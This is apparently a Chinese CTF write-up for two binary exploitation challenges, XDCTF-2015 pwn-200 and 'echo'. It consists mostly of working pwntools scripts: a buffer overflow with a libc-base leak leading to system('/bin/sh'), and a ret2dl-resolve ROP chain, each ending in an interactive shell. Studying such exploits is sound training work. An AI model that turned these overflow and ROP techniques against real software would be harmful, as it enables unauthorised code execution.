XDCTF-2015 pwn-200
简单的泄露基址 这里就不多讲了
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
context.log_level="debug"
#io=remote("111.198.29.45",32529)
io=process("./pwn")
elf=ELF("./pwn")
libc=ELF("./libc6_2.23_386.so")
start_addr=0x080483D0
if __name__=='__main__':
io.recvuntil("Welcome to XDCTF2015~!\n")
payload='a'*0x70+p32(elf.plt['write'])+p32(start_addr)+p32(1)+p32(elf.got['write'])+p32(4)
#gdb.attach(io)
io.sendline(payload)
write_addr=u32(io.recv(4))
print hex(write_addr)
system_addr=write_addr-libc.sym["write"]+libc.sym['system']
print hex(system_addr)
io.recvuntil("Welcome to XDCTF2015~!\n")
system_bin_addr=libc.search("/bin/sh\x00").next()+write_addr-libc.sym["write"]
print hex(system_bin_addr)
payload='a'*0x70+p32(system_addr)+p32(0)+p32(system_bin_addr)
io.sendline(payload)
io.interactive()
io.close()
寻找到的 字符串 忘记加了 基址 差点debug半天
echo
这个题 按照以前别人的题解是不行的 一开始 我以为那个函数很简单 然后确实不行
然后 我知道了攻防世界 flag 没有 .txt啊
那就只能换个思路 伪造重定位表 直接搞 别人的库就行
from pwn import *
from roputils import *
context.log_level='debug'
fun_addr=0x0804854d
#io=process('./echo')
io=remote('111.198.29.45',34025)
offset=0x3e
rop=ROP('./echo')
bss_addr=rop.section('.bss')
pay=rop.fill(offset)
pay+=rop.call('gets',bss_addr)
pay+=rop.dl_resolve_call(bss_addr+20,bss_addr)
io.sendline(pay)
rop=ROP('./echo')
pay='/bin/sh\x00'
pay+=rop.fill(20,pay)
pay+=rop.dl_resolve_data(bss_addr+20,'system')
io.sendline(pay)
io.interactive()